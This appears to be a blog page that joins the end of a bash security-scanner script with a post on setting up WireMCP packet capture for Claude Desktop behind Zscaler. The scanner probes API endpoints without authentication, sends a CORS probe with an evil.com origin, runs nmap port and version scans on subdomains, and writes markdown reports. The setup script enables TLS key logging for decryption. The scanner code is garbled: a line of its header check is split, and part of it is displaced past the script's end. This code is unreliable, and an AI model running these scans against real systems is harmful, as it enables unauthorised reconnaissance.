    curl -s "https://${DOMAIN}/api/docs" > api_discovery/api_docs.txt 2>/dev/null || true
    
    log_success "API discovery complete"
}

################################################################################
# API Permission Testing
################################################################################
api_permission_testing() {
    if [ "$API_SCAN" = false ]; then
        log_debug "API scanning disabled, skipping permission testing"
        return
    fi
    
    log_info "Testing API permissions..."
    log_debug "Creating api_permissions directory"
    
    mkdir -p api_permissions
    
    # Test common API endpoints without authentication
    if [ -f api_discovery/endpoints_found.txt ]; then
        log_debug "Testing discovered API endpoints for authentication issues"
        while IFS= read -r endpoint; do
            API_PATH=$(echo "$endpoint" | cut -d: -f1)
            
            # Test GET without auth
            log_info "Testing $API_PATH without authentication..."
            log_debug "Sending unauthenticated GET request to $API_PATH"
            HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://${DOMAIN}${API_PATH}")
            echo "$API_PATH: $HTTP_CODE" >> api_permissions/unauth_access.txt
            log_debug "Response: HTTP $HTTP_CODE"
            
            # Test common HTTP methods
            log_debug "Testing HTTP methods on $API_PATH"
            for method in GET POST PUT DELETE PATCH; do
                HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" "https://${DOMAIN}${API_PATH}")
                if [ "$HTTP_CODE" = "200" ] || [ "$HTTP_CODE" = "201" ]; then
                    log_warning "$API_PATH allows $method without authentication (HTTP $HTTP_CODE)"
                    echo "$API_PATH: $method - HTTP $HTTP_CODE" >> api_permissions/method_issues.txt
                fi
            done
        done < api_discovery/endpoints_found.txt
    fi
    
    # Check for CORS misconfigurations
    log_info "Checking CORS configuration..."
    log_debug "Testing CORS headers with evil.com origin"
    curl -s -H "Origin: https://evil.com" -I "https://${DOMAIN}/api" | grep -i "access-control" > api_permissions/cors_headers.txt || true
    
    log_success "API permission testing complete"
}

################################################################################
# HTTP Security Headers
################################################################################
http_security_headers() {
    log_info "Analyzing HTTP security headers..."
    log_debug "Fetching headers from https://${DOMAIN}"
    
    # Get headers from main domain
    curl -I "https://${DOMAIN}" 2>/dev/null > http_headers.txt
    
    # Check for specific security headers
    declare -A HEADERS=(
        ["x-frame-options"]="X-Frame-Options"
        ["x-content-type-options"]="X-Content-Type-Options"
        ["strict-transport-security"]="Strict-Transport-Security"
        ["content-security-policy"]="Content-Security-Policy"
        ["referrer-policy"]="Referrer-Policy"
        ["permissions-policy"]="Permissions-Policy"
        ["x-xss-protection"]="X-XSS-Protection"
    )
    
    log_debug "Checking for security headers"
    > security_headers_status.txt
    for header in "${!HEADERS[@]}"; do
        if grep -qi "^${header}:" http_headers.txt; then
 security_headers_status.txt
        else
            echo "${HEADERS[$header]}: Missing" >> security_headers_status.txt
        fi
    done
    
    log_success "HTTP security headers analysis complete"
}

################################################################################
# Subdomain Scanning
################################################################################
scan_subdomains() {
    if [ "$SCAN_SUBDOMAINS" = false ] || [ ! -f subdomains_discovered.txt ]; then
        log_debug "Subdomain scanning disabled or no subdomains discovered"
        return
    fi
    
    log_info "Scanning discovered subdomains..."
    log_debug "Creating subdomain_scans directory"
    
    mkdir -p subdomain_scans
    
    local count=0
    while IFS= read -r subdomain; do
        count=$((count + 1))
        log_info "Scanning subdomain $count/$SUBDOMAIN_COUNT: $subdomain"
        log_debug "Testing accessibility of $subdomain"
        
        # Quick check if subdomain is accessible
        HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://${subdomain}" --max-time 5)
        
        if echo "$HTTP_CODE" | grep -q "^[2-4]"; then
            log_debug "$subdomain is accessible (HTTP $HTTP_CODE)"
            
            # Get headers
            log_debug "Fetching headers from $subdomain"
            curl -I "https://${subdomain}" 2>/dev/null > "subdomain_scans/${subdomain}_headers.txt"
            
            # Quick port check (top 100 ports)
            log_debug "Scanning top 100 ports on $subdomain"
            if [ -n "$NETWORK_INTERFACE" ]; then
                nmap --top-ports 100 "$subdomain" -e "$NETWORK_INTERFACE" -oN "subdomain_scans/${subdomain}_ports.txt" > /dev/null 2>&1
            else
                nmap --top-ports 100 "$subdomain" -oN "subdomain_scans/${subdomain}_ports.txt" > /dev/null 2>&1
            fi
            
            # Check for old software
            log_debug "Checking service versions on $subdomain"
            if [ -n "$NETWORK_INTERFACE" ]; then
                nmap -sV --top-ports 10 "$subdomain" -e "$NETWORK_INTERFACE" -oN "subdomain_scans/${subdomain}_versions.txt" > /dev/null 2>&1
            else
                nmap -sV --top-ports 10 "$subdomain" -oN "subdomain_scans/${subdomain}_versions.txt" > /dev/null 2>&1
            fi
            
            log_success "Scanned: $subdomain (HTTP $HTTP_CODE)"
        else
            log_warning "Subdomain not accessible: $subdomain (HTTP $HTTP_CODE)"
        fi
    done < subdomains_discovered.txt
    
    log_success "Subdomain scanning complete"
}

################################################################################
# Generate Executive Summary
################################################################################
generate_executive_summary() {
    log_info "Generating executive summary..."
    log_debug "Creating executive summary report"
    
    cat > "$EXEC_REPORT" << EOF
# Executive Summary
## Enhanced Security Assessment Report

**Target Domain:** $DOMAIN  
**Target IP:** $IP_ADDRESS  
**Scan Date:** $SCAN_DATE  
**Scanner Version:** $VERSION  
**Network Interface:** $NETWORK_INTERFACE

---

## Overview

This report summarizes the comprehensive security assessment findings for $DOMAIN. The assessment included passive reconnaissance, vulnerability scanning, asset discovery, and API security testing.

---

## Key Findings

### 1. Domain Information

- **Primary Domain:** $DOMAIN
- **IP Address:** $IP_ADDRESS
- **Subdomains Discovered:** $(cat subdomain_count.txt)

### 2. SSL/TLS Configuration

**Certificate Information:**
\`\`\`
Issuer: $(cat cert_issuer.txt)
Subject: $(cat cert_subject.txt)
$(cat cert_dates.txt)
\`\`\`

**TLS Protocol Support:**
\`\`\`
$(cat tls_versions.txt)
\`\`\`

**Assessment:**
EOF

    # Add TLS assessment
    if [ "$TLS_10" -gt 0 ] || [ "$TLS_11" -gt 0 ]; then
        echo "⚠️ **Warning:** Outdated TLS protocols detected (TLSv1.0/1.1)" >> "$EXEC_REPORT"
    else
        echo "✅ **Good:** Only modern TLS protocols detected (TLSv1.2/1.3)" >> "$EXEC_REPORT"
    fi
    
    cat >> "$EXEC_REPORT" << EOF

### 3. Port Exposure

- **Open Ports (Top 1000):** $(cat open_ports_count.txt)

**Open Ports List:**
\`\`\`
$(cat open_ports_list.txt)
\`\`\`

### 4. Vulnerability Assessment

EOF

    if [ "$VULN_SCAN" = true ] && [ -f vulnerability_count.txt ]; then
        cat >> "$EXEC_REPORT" << EOF
- **Vulnerabilities Found:** $(cat vulnerability_count.txt)

**Critical Vulnerabilities:**
\`\`\`
$(head -20 vulnerabilities_found.txt)
\`\`\`

EOF
    else
        echo "Vulnerability scanning was not performed." >> "$EXEC_REPORT"
    fi
    
    cat >> "$EXEC_REPORT" << EOF

### 5. Outdated Software

- **Outdated Components Found:** $(cat old_software_count.txt)

EOF

    if [ -d old_software ] && [ "$(ls -A old_software)" ]; then
        echo "**Outdated Software Detected:**" >> "$EXEC_REPORT"
        echo "\`\`\`" >> "$EXEC_REPORT"
        find old_software -type f ! -empty -exec basename {} \; >> "$EXEC_REPORT"
        echo "\`\`\`" >> "$EXEC_REPORT"
    fi
    
    cat >> "$EXEC_REPORT" << EOF

### 6. API Security

EOF

    if [ "$API_SCAN" = true ]; then
        if [ -f api_discovery/endpoints_found.txt ]; then
            cat >> "$EXEC_REPORT" << EOF
**API Endpoints Discovered:**
\`\`\`
$(cat api_discovery/endpoints_found.txt)
\`\`\`

EOF
        fi
        
        if [ -f api_permissions/method_issues.txt ]; then
            cat >> "$EXEC_REPORT" << EOF
**API Permission Issues:**
\`\`\`
$(cat api_permissions/method_issues.txt)
\`\`\`

EOF
        fi
    else
        echo "API scanning was not performed." >> "$EXEC_REPORT"
    fi
    
    cat >> "$EXEC_REPORT" << EOF

### 7. HTTP Security Headers

\`\`\`
$(cat security_headers_status.txt)
\`\`\`

---

## Priority Recommendations

### Immediate Actions (Priority 1)

EOF

    # Add specific recommendations
    if [ "$TLS_10" -gt 0 ] || [ "$TLS_11" -gt 0 ]; then
        echo "1. **Disable TLSv1.0/1.1:** Update TLS configuration immediately" >> "$EXEC_REPORT"
    fi
    
    if [ -f vulnerability_count.txt ] && [ "$(cat vulnerability_count.txt)" -gt 0 ]; then
        echo "2. **Patch Vulnerabilities:** Address $(cat vulnerability_count.txt) identified vulnerabilities" >> "$EXEC_REPORT"
    fi
    
    if [ -f old_software_count.txt ] && [ "$(cat old_software_count.txt)" -gt 0 ]; then
        echo "3. **Update Software:** Upgrade $(cat old_software_count.txt) outdated components" >> "$EXEC_REPORT"
    fi
    
    if grep -q "Missing" security_headers_status.txt; then
        echo "4. **Implement Security Headers:** Add missing HTTP security headers" >> "$EXEC_REPORT"
    fi
    
    if [ -f api_permissions/method_issues.txt ]; then
        echo "5. **Fix API Permissions:** Implement proper authentication on exposed APIs" >> "$EXEC_REPORT"
    fi
    
    cat >> "$EXEC_REPORT" << EOF

### Review Actions (Priority 2)

1. Review all open ports and close unnecessary services
2. Audit subdomain inventory and decommission unused subdomains
3. Implement API authentication and authorization
4. Regular vulnerability scanning schedule
5. Software update policy and procedures

---

## Next Steps

1. Review detailed technical and vulnerability reports
2. Prioritize remediation based on risk assessment
3. Implement security improvements
4. Schedule follow-up assessment after remediation

---

**Report Generated:** $(date)  
**Scan Directory:** $SCAN_DIR

**Additional Reports:**
- Technical Report: technical_report.md
- Vulnerability Report: vulnerability_report.md
- API Security Report: api_security_report.md

EOF

    log_success "Executive summary generated: $EXEC_REPORT"
    log_debug "Executive summary saved to: $SCAN_DIR/$EXEC_REPORT"
}

################################################################################
# Generate Technical Report
################################################################################
generate_technical_report() {
    log_info "Generating detailed technical report..."
    log_debug "Creating technical report"
    
    cat > "$TECH_REPORT" << EOF
# Technical Security Assessment Report
## Target: $DOMAIN

**Assessment Date:** $SCAN_DATE  
**Target IP:** $IP_ADDRESS  
**Scanner Version:** $VERSION  
**Network Interface:** $NETWORK_INTERFACE  
**Classification:** CONFIDENTIAL

---

## 1. Scope

**Primary Target:** $DOMAIN  
**IP Address:** $IP_ADDRESS  
**Subdomain Scanning:** $([ "$SCAN_SUBDOMAINS" = true ] && echo "Enabled" || echo "Disabled")  
**Vulnerability Scanning:** $([ "$VULN_SCAN" = true ] && echo "Enabled" || echo "Disabled")  
**API Testing:** $([ "$API_SCAN" = true ] && echo "Enabled" || echo "Disabled")

---

## 2. DNS Configuration

\`\`\`
$(cat dns_records.txt)
\`\`\`

---

## 3. SSL/TLS Configuration

\`\`\`
$(cat certificate_details.txt)
\`\`\`

---

## 4. Port Scan Results

\`\`\`
$(cat port_scan_top1000.txt)
\`\`\`

---

## 5. Vulnerability Assessment

EOF

    if [ "$VULN_SCAN" = true ]; then
        cat >> "$TECH_REPORT" << EOF
### 5.1 NMAP Vulnerability Scan

\`\`\`
$(cat nmap_vuln_scan.txt)
\`\`\`

### 5.2 HTTP Vulnerabilities

\`\`\`
$(cat http_vulnerabilities.txt)
\`\`\`

### 5.3 SSL/TLS Vulnerabilities

\`\`\`
$(cat ssl_vulnerabilities.txt)
\`\`\`

EOF
    fi
    
    cat >> "$TECH_REPORT" << EOF

---

## 6. Asset Discovery

### 6.1 Web Technologies

\`\`\`
$(cat assets/web_technologies.txt)
\`\`\`

### 6.2 CMS Detection

\`\`\`
$(cat assets/cms_detection.txt)
\`\`\`

### 6.3 JavaScript Libraries

\`\`\`
$(cat assets/js_libraries.txt)
\`\`\`

### 6.4 Common Files

\`\`\`
$(cat assets/common_files.txt 2>/dev/null || echo "No common files found")
\`\`\`

---

## 7. Outdated Software

EOF

    if [ -d old_software ] && [ "$(ls -A old_software)" ]; then
        for file in old_software/*.txt; do
            if [ -f "$file" ] && [ -s "$file" ]; then
                echo "### $(basename "$file" .txt)" >> "$TECH_REPORT"
                echo "\`\`\`" >> "$TECH_REPORT"
                cat "$file" >> "$TECH_REPORT"
                echo "\`\`\`" >> "$TECH_REPORT"
                echo >> "$TECH_REPORT"
            fi
        done
    else
        echo "No outdated software detected." >> "$TECH_REPORT"
    fi
    
    cat >> "$TECH_REPORT" << EOF

---

## 8. API Security

EOF

    if [ "$API_SCAN" = true ]; then
        cat >> "$TECH_REPORT" << EOF
### 8.1 API Endpoints

\`\`\`
$(cat api_discovery/endpoints_found.txt 2>/dev/null || echo "No API endpoints found")
\`\`\`

### 8.2 API Permissions

\`\`\`
$(cat api_permissions/unauth_access.txt 2>/dev/null || echo "No permission issues found")
\`\`\`

### 8.3 CORS Configuration

\`\`\`
$(cat api_permissions/cors_headers.txt 2>/dev/null || echo "No CORS headers found")
\`\`\`

EOF
    fi
    
    cat >> "$TECH_REPORT" << EOF

---

## 9. HTTP Security Headers

\`\`\`
$(cat http_headers.txt)
\`\`\`

**Security Headers Status:**
\`\`\`
$(cat security_headers_status.txt)
\`\`\`

---

## 10. Recommendations

### 10.1 Immediate Actions

EOF

    # Add recommendations
    if [ "$TLS_10" -gt 0 ] || [ "$TLS_11" -gt 0 ]; then
        echo "1. Disable TLSv1.0 and TLSv1.1 protocols" >> "$TECH_REPORT"
    fi
    
    if [ -f vulnerability_count.txt ] && [ "$(cat vulnerability_count.txt)" -gt 0 ]; then
        echo "2. Patch identified vulnerabilities" >> "$TECH_REPORT"
    fi
    
    if [ -f old_software_count.txt ] && [ "$(cat old_software_count.txt)" -gt 0 ]; then
        echo "3. Update outdated software components" >> "$TECH_REPORT"
    fi
    
    cat >> "$TECH_REPORT" << EOF

### 10.2 Review Actions

1. Review all open ports and services
2. Audit subdomain inventory
3. Implement missing security headers
4. Review API authentication
5. Regular security assessments

---

## 11. Document Control

**Classification:** CONFIDENTIAL  
**Distribution:** Security Team, Infrastructure Team  
**Prepared By:** Enhanced Security Scanner v$VERSION  
**Date:** $(date)

---

**END OF TECHNICAL REPORT**
EOF

    log_success "Technical report generated: $TECH_REPORT"
    log_debug "Technical report saved to: $SCAN_DIR/$TECH_REPORT"
}

################################################################################
# Generate Vulnerability Report
################################################################################
generate_vulnerability_report() {
    if [ "$VULN_SCAN" = false ]; then
        log_debug "Vulnerability scanning disabled, skipping vulnerability report"
        return
    fi
    
    log_info "Generating vulnerability report..."
    log_debug "Creating vulnerability report"
    
    cat > "$VULN_REPORT" << EOF
# Vulnerability Assessment Report
## Target: $DOMAIN

**Assessment Date:** $SCAN_DATE  
**Target IP:** $IP_ADDRESS  
**Scanner Version:** $VERSION

---

## Executive Summary

**Total Vulnerabilities Found:** $(cat vulnerability_count.txt)

---

## 1. NMAP Vulnerability Scan

\`\`\`
$(cat nmap_vuln_scan.txt)
\`\`\`

---

## 2. HTTP Vulnerabilities

\`\`\`
$(cat http_vulnerabilities.txt)
\`\`\`

---

## 3. SSL/TLS Vulnerabilities

\`\`\`
$(cat ssl_vulnerabilities.txt)
\`\`\`

---

## 4. Detailed Findings

\`\`\`
$(cat vulnerabilities_found.txt)
\`\`\`

---

**END OF VULNERABILITY REPORT**
EOF

    log_success "Vulnerability report generated: $VULN_REPORT"
    log_debug "Vulnerability report saved to: $SCAN_DIR/$VULN_REPORT"
}

################################################################################
# Generate API Security Report
################################################################################
generate_api_report() {
    if [ "$API_SCAN" = false ]; then
        log_debug "API scanning disabled, skipping API report"
        return
    fi
    
    log_info "Generating API security report..."
    log_debug "Creating API security report"
    
    cat > "$API_REPORT" << EOF
# API Security Assessment Report
## Target: $DOMAIN

**Assessment Date:** $SCAN_DATE  
**Scanner Version:** $VERSION

---

## 1. API Discovery

### 1.1 Endpoints Found

\`\`\`
$(cat api_discovery/endpoints_found.txt 2>/dev/null || echo "No API endpoints found")
\`\`\`

---

## 2. Permission Testing

### 2.1 Unauthenticated Access

\`\`\`
$(cat api_permissions/unauth_access.txt 2>/dev/null || echo "No unauthenticated access issues")
\`\`\`

### 2.2 HTTP Method Issues

\`\`\`
$(cat api_permissions/method_issues.txt 2>/dev/null || echo "No method issues found")
\`\`\`

---

## 3. CORS Configuration

\`\`\`
$(cat api_permissions/cors_headers.txt 2>/dev/null || echo "No CORS issues found")
\`\`\`

---

**END OF API SECURITY REPORT**
EOF

    log_success "API security report generated: $API_REPORT"
    log_debug "API security report saved to: $SCAN_DIR/$API_REPORT"
}

################################################################################
# Main Execution
################################################################################
main() {
    echo "========================================"
    echo "Enhanced Security Scanner v${VERSION}"
    echo "========================================"
    echo
    log_debug "Script started at $(date)"
    log_debug "Network interface: $NETWORK_INTERFACE"
    log_debug "Debug mode: $DEBUG"
    echo
    
    # Check dependencies
    check_dependencies
    
    # Initialize scan
    initialize_scan
    
    # Run scans
    log_debug "Starting DNS reconnaissance phase"
    dns_reconnaissance
    
    log_debug "Starting subdomain discovery phase"
    discover_subdomains
    
    log_debug "Starting SSL/TLS analysis phase"
    ssl_tls_analysis
    
    log_debug "Starting port scanning phase"
    port_scanning
    
    if [ "$VULN_SCAN" = true ]; then
        log_debug "Starting vulnerability scanning phase"
        vulnerability_scanning
    fi
    
    log_debug "Starting hping3 testing phase"
    hping3_testing
    
    log_debug "Starting asset discovery phase"
    asset_discovery
    
    log_debug "Starting old software detection phase"
    detect_old_software
    
    if [ "$API_SCAN" = true ]; then
        log_debug "Starting API discovery phase"
        api_discovery
        log_debug "Starting API permission testing phase"
        api_permission_testing
    fi
    
    log_debug "Starting HTTP security headers analysis phase"
    http_security_headers
    
    log_debug "Starting subdomain scanning phase"
    scan_subdomains
    
    # Generate reports
    log_debug "Starting report generation phase"
    generate_executive_summary
    generate_technical_report
    generate_vulnerability_report
    generate_api_report
    
    # Summary
    echo
    echo "========================================"
    log_success "Scan Complete!"
    echo "========================================"
    echo
    log_info "Scan directory: $SCAN_DIR"
    log_info "Executive summary: $SCAN_DIR/$EXEC_REPORT"
    log_info "Technical report: $SCAN_DIR/$TECH_REPORT"
    
    if [ "$VULN_SCAN" = true ]; then
        log_info "Vulnerability report: $SCAN_DIR/$VULN_REPORT"
    fi
    
    if [ "$API_SCAN" = true ]; then
        log_info "API security report: $SCAN_DIR/$API_REPORT"
    fi
    
    echo
    log_info "Review the reports for detailed findings"
    log_debug "Script completed at $(date)"
}

################################################################################
# Parse Command Line Arguments
################################################################################
DOMAIN=""
SCAN_SUBDOMAINS=false
MAX_SUBDOMAINS=10
VULN_SCAN=false
API_SCAN=false

while getopts "d:sm:vah" opt; do
    case $opt in
        d)
            DOMAIN="$OPTARG"
            ;;
        s)
            SCAN_SUBDOMAINS=true
            ;;
        m)
            MAX_SUBDOMAINS="$OPTARG"
            ;;
        v)
            VULN_SCAN=true
            ;;
        a)
            API_SCAN=true
            ;;
        h)
            usage
            ;;
        \?)
            log_error "Invalid option: -$OPTARG"
            usage
            ;;
    esac
done

# Validate required arguments
if [ -z "$DOMAIN" ]; then
    log_error "Domain is required"
    usage
fi

# Run main function
main
            echo "${HEADERS[$header]}: Present" >>

EOF

chmod +x ./security_scanner_enhanced.sh

Macbook: Setup wireshark packet capture MCP for Antropic Claude Desktop

If you’re like me, the idea of doing anything twice will make you break out in a cold shiver. For my Claude desktop, I often need network pcap (packet capture) to unpack something that I am doing. So the script below installs wireshark, and then the wireshark mcp and then configures Claude to use it. Then I got it to work with zscaler (note, I just did a process grep – you could also check utun/port 9000/9400).

I also added example scripts to test its working and so prompts to help you test in Claude.

cat > ~/setup_wiremcp_simple.sh << 'EOF'
#!/bin/bash

# Simplified WireMCP Setup with Zscaler Support

echo ""
echo "============================================"
echo "   WireMCP Setup with Zscaler Support"
echo "============================================"
echo ""

# Detect Zscaler
echo "[INFO] Detecting Zscaler..."
ZSCALER_DETECTED=false
ZSCALER_INTERFACE=""

# Check for Zscaler process
if pgrep -f "Zscaler" >/dev/null 2>&1; then
    ZSCALER_DETECTED=true
    echo "[ZSCALER] ✓ Zscaler process is running"
fi

# Find Zscaler tunnel interface
UTUN_INTERFACES=$(ifconfig -l | grep -o 'utun[0-9]*')
for iface in $UTUN_INTERFACES; do
    IP=$(ifconfig "$iface" 2>/dev/null | grep "inet " | awk '{print $2}')
    if [[ "$IP" == 100.64.* ]]; then
        ZSCALER_INTERFACE="$iface"
        ZSCALER_DETECTED=true
        echo "[ZSCALER] ✓ Zscaler tunnel found: $iface (IP: $IP)"
        break
    fi
done

if [[ "$ZSCALER_DETECTED" == "true" ]]; then
    echo "[ZSCALER] ✓ Zscaler environment confirmed"
else
    echo "[INFO] No Zscaler detected - standard network"
fi

echo ""

# Check existing installations
echo "[INFO] Checking installed software..."

if command -v tshark >/dev/null 2>&1; then
    echo "[✓] Wireshark/tshark is installed"
else
    echo "[!] Wireshark not found - install with: brew install --cask wireshark"
fi

if command -v node >/dev/null 2>&1; then
    echo "[✓] Node.js is installed: $(node --version)"
else
    echo "[!] Node.js not found - install with: brew install node"
fi

if [[ -d "$HOME/WireMCP" ]]; then
    echo "[✓] WireMCP is installed at ~/WireMCP"
else
    echo "[!] WireMCP not found"
fi

echo ""

# Configure SSL decryption for Zscaler
if [[ "$ZSCALER_DETECTED" == "true" ]]; then
    echo "[INFO] Configuring SSL/TLS decryption..."
    
    SSL_KEYLOG="$HOME/.wireshark-sslkeys.log"
    touch "$SSL_KEYLOG"
    chmod 600 "$SSL_KEYLOG"
    
    if ! grep -q "SSLKEYLOGFILE" ~/.zshrc 2>/dev/null; then
        echo "" >> ~/.zshrc
        echo "# Wireshark SSL/TLS decryption for Zscaler" >> ~/.zshrc
        echo "export SSLKEYLOGFILE=\"$SSL_KEYLOG\"" >> ~/.zshrc
        echo "[✓] Added SSLKEYLOGFILE to ~/.zshrc"
    else
        echo "[✓] SSLKEYLOGFILE already in ~/.zshrc"
    fi
    
    echo "[✓] SSL key log file: $SSL_KEYLOG"
fi

echo ""

# Update WireMCP for Zscaler
if [[ -d "$HOME/WireMCP" ]]; then
    if [[ "$ZSCALER_DETECTED" == "true" ]]; then
        echo "[INFO] Creating Zscaler-aware wrapper..."
        
        cat > "$HOME/WireMCP/start_zscaler.sh" << 'WRAPPER'
#!/bin/bash
echo "=== WireMCP (Zscaler Mode) ==="

# Set SSL decryption
export SSLKEYLOGFILE="$HOME/.wireshark-sslkeys.log"

# Find Zscaler interface
UTUN_LIST=$(ifconfig -l | grep -o 'utun[0-9]*')
for iface in $UTUN_LIST; do
    IP=$(ifconfig "$iface" 2>/dev/null | grep "inet " | awk '{print $2}')
    if [[ "$IP" == 100.64.* ]]; then
        export CAPTURE_INTERFACE="$iface"
        echo "✓ Zscaler tunnel: $iface ($IP)"
        echo "✓ All proxied traffic flows through this interface"
        break
    fi
done

if [[ -z "$CAPTURE_INTERFACE" ]]; then
    export CAPTURE_INTERFACE="en0"
    echo "! Using default interface: en0"
fi

echo ""
echo "Configuration:"
echo "  SSL Key Log: $SSLKEYLOGFILE"
echo "  Capture Interface: $CAPTURE_INTERFACE"
echo ""
echo "To capture: sudo tshark -i $CAPTURE_INTERFACE -c 10"
echo "===============================\n"

cd "$(dirname "$0")"
node index.js
WRAPPER
        
        chmod +x "$HOME/WireMCP/start_zscaler.sh"
        echo "[✓] Created ~/WireMCP/start_zscaler.sh"
    fi
    
    # Create test script
    cat > "$HOME/WireMCP/test_zscaler.sh" << 'TEST'
#!/bin/bash

echo "=== Zscaler & WireMCP Test ==="
echo ""

# Check Zscaler process
if pgrep -f "Zscaler" >/dev/null; then
    echo "✓ Zscaler is running"
else
    echo "✗ Zscaler not running"
fi

# Find tunnel
UTUN_LIST=$(ifconfig -l | grep -o 'utun[0-9]*')
for iface in $UTUN_LIST; do
    IP=$(ifconfig "$iface" 2>/dev/null | grep "inet " | awk '{print $2}')
    if [[ "$IP" == 100.64.* ]]; then
        echo "✓ Zscaler tunnel: $iface ($IP)"
        FOUND=true
        break
    fi
done

[[ "$FOUND" != "true" ]] && echo "✗ No Zscaler tunnel found"

echo ""

# Check SSL keylog
if [[ -f "$HOME/.wireshark-sslkeys.log" ]]; then
    SIZE=$(wc -c < "$HOME/.wireshark-sslkeys.log")
    echo "✓ SSL key log exists ($SIZE bytes)"
else
    echo "✗ SSL key log not found"
fi

echo ""
echo "Network interfaces:"
tshark -D 2>/dev/null | head -5

echo ""
echo "To capture Zscaler traffic:"
echo "  sudo tshark -i ${iface:-en0} -c 10"
TEST
    
    chmod +x "$HOME/WireMCP/test_zscaler.sh"
    echo "[✓] Created ~/WireMCP/test_zscaler.sh"
fi

echo ""

# Configure Claude Desktop
CLAUDE_CONFIG="$HOME/Library/Application Support/Claude/claude_desktop_config.json"
if [[ -d "$(dirname "$CLAUDE_CONFIG")" ]]; then
    echo "[INFO] Configuring Claude Desktop..."
    
    # Backup existing
    if [[ -f "$CLAUDE_CONFIG" ]]; then
        BACKUP_FILE="${CLAUDE_CONFIG}.backup.$(date +%Y%m%d_%H%M%S)"
        cp "$CLAUDE_CONFIG" "$BACKUP_FILE"
        echo "[✓] Backup created: $BACKUP_FILE"
    fi
    
    # Check if jq is installed
    if ! command -v jq >/dev/null 2>&1; then
        echo "[INFO] Installing jq for JSON manipulation..."
        brew install jq
    fi
    
    # Create temp capture directory
    TEMP_CAPTURE_DIR="$HOME/.wiremcp/captures"
    mkdir -p "$TEMP_CAPTURE_DIR"
    echo "[✓] Capture directory: $TEMP_CAPTURE_DIR"
    
    # Prepare environment variables
    if [[ "$ZSCALER_DETECTED" == "true" ]]; then
        ENV_JSON=$(jq -n \
            --arg ssllog "$HOME/.wireshark-sslkeys.log" \
            --arg iface "${ZSCALER_INTERFACE:-en0}" \
            --arg capdir "$TEMP_CAPTURE_DIR" \
            '{"SSLKEYLOGFILE": $ssllog, "CAPTURE_INTERFACE": $iface, "ZSCALER_MODE": "true", "CAPTURE_DIR": $capdir}')
    else
        ENV_JSON=$(jq -n \
            --arg capdir "$TEMP_CAPTURE_DIR" \
            '{"CAPTURE_DIR": $capdir}')
    fi
    
    # Add or update wiremcp in config, preserving existing servers
    if [[ -f "$CLAUDE_CONFIG" ]] && [[ -s "$CLAUDE_CONFIG" ]]; then
        echo "[INFO] Merging WireMCP into existing config..."
        jq --arg home "$HOME" \
           --argjson env "$ENV_JSON" \
           '.mcpServers.wiremcp = {"command": "node", "args": [$home + "/WireMCP/index.js"], "env": $env}' \
           "$CLAUDE_CONFIG" > "${CLAUDE_CONFIG}.tmp" && mv "${CLAUDE_CONFIG}.tmp" "$CLAUDE_CONFIG"
    else
        echo "[INFO] Creating new Claude config..."
        jq -n --arg home "$HOME" \
              --argjson env "$ENV_JSON" \
              '{"mcpServers": {"wiremcp": {"command": "node", "args": [$home + "/WireMCP/index.js"], "env": $env}}}' \
              > "$CLAUDE_CONFIG"
    fi
    
    if [[ "$ZSCALER_DETECTED" == "true" ]]; then
        echo "[✓] Claude configured with Zscaler mode"
    else
        echo "[✓] Claude configured"
    fi
    echo "[✓] Existing MCP servers preserved"
fi

echo ""
echo "============================================"
echo "             Summary"
echo "============================================"
echo ""

if [[ "$ZSCALER_DETECTED" == "true" ]]; then
    echo "Zscaler Environment:"
    echo "  ✓ Detected and configured"
    [[ -n "$ZSCALER_INTERFACE" ]] && echo "  ✓ Tunnel interface: $ZSCALER_INTERFACE"
    echo "  ✓ SSL decryption ready"
    echo ""
    echo "Next steps:"
    echo "  1. Restart terminal: source ~/.zshrc"
    echo "  2. Restart browsers for HTTPS decryption"
else
    echo "Standard Network:"
    echo "  • No Zscaler detected"
    echo "  • Standard configuration applied"
fi

echo ""
echo "For Claude Desktop:"
echo "  1. Restart Claude Desktop app"
echo "  2. Ask Claude to analyze network traffic"
echo ""
echo "============================================"

exit 0
EOF
chmod +x ~/setup_wiremcp_simple.sh

To test if the script worked:

cat > ~/test_wiremcp_claude.sh << 'EOF'
#!/bin/bash

# WireMCP Claude Desktop Interactive Test Script

echo "╔════════════════════════════════════════════════════════╗"
echo "║     WireMCP + Claude Desktop Testing Tool             ║"
echo "╚════════════════════════════════════════════════════════╝"
echo ""

# Colors
GREEN='\033[0;32m'
BLUE='\033[0;34m'
YELLOW='\033[1;33m'
NC='\033[0m'

# Check prerequisites
echo -e "${BLUE}[1/4]${NC} Checking prerequisites..."

if ! command -v tshark >/dev/null 2>&1; then
    echo "   ✗ tshark not found"
    exit 1
fi

if [[ ! -d "$HOME/WireMCP" ]]; then
    echo "   ✗ WireMCP not found at ~/WireMCP"
    exit 1
fi

if [[ ! -f "$HOME/Library/Application Support/Claude/claude_desktop_config.json" ]]; then
    echo "   ⚠ Claude Desktop config not found"
fi

echo -e "   ${GREEN}✓${NC} All prerequisites met"
echo ""

# Detect Zscaler
echo -e "${BLUE}[2/4]${NC} Detecting network configuration..."

ZSCALER_IF=""
for iface in $(ifconfig -l | grep -o 'utun[0-9]*'); do
    IP=$(ifconfig "$iface" 2>/dev/null | grep "inet " | awk '{print $2}')
    if [[ "$IP" == 100.64.* ]]; then
        ZSCALER_IF="$iface"
        echo -e "   ${GREEN}✓${NC} Zscaler tunnel: $iface ($IP)"
        break
    fi
done

if [[ -z "$ZSCALER_IF" ]]; then
    echo "   ⚠ No Zscaler tunnel detected (will use en0)"
    ZSCALER_IF="en0"
fi

echo ""

# Generate test traffic
echo -e "${BLUE}[3/4]${NC} Generating test network traffic..."

# Background network requests
(curl -s https://api.github.com/zen > /dev/null 2>&1) &
(curl -s https://httpbin.org/get > /dev/null 2>&1) &
(curl -s https://www.google.com > /dev/null 2>&1) &
(ping -c 3 8.8.8.8 > /dev/null 2>&1) &

sleep 2
echo -e "   ${GREEN}✓${NC} Test traffic generated (GitHub, httpbin, Google, DNS)"
echo ""

# Show test prompts
echo -e "${BLUE}[4/4]${NC} Test prompts for Claude Desktop"
echo "════════════════════════════════════════════════════════"
echo ""

echo -e "${YELLOW}📋 Copy these prompts into Claude Desktop:${NC}"
echo ""

echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "TEST 1: Basic Connection Test"
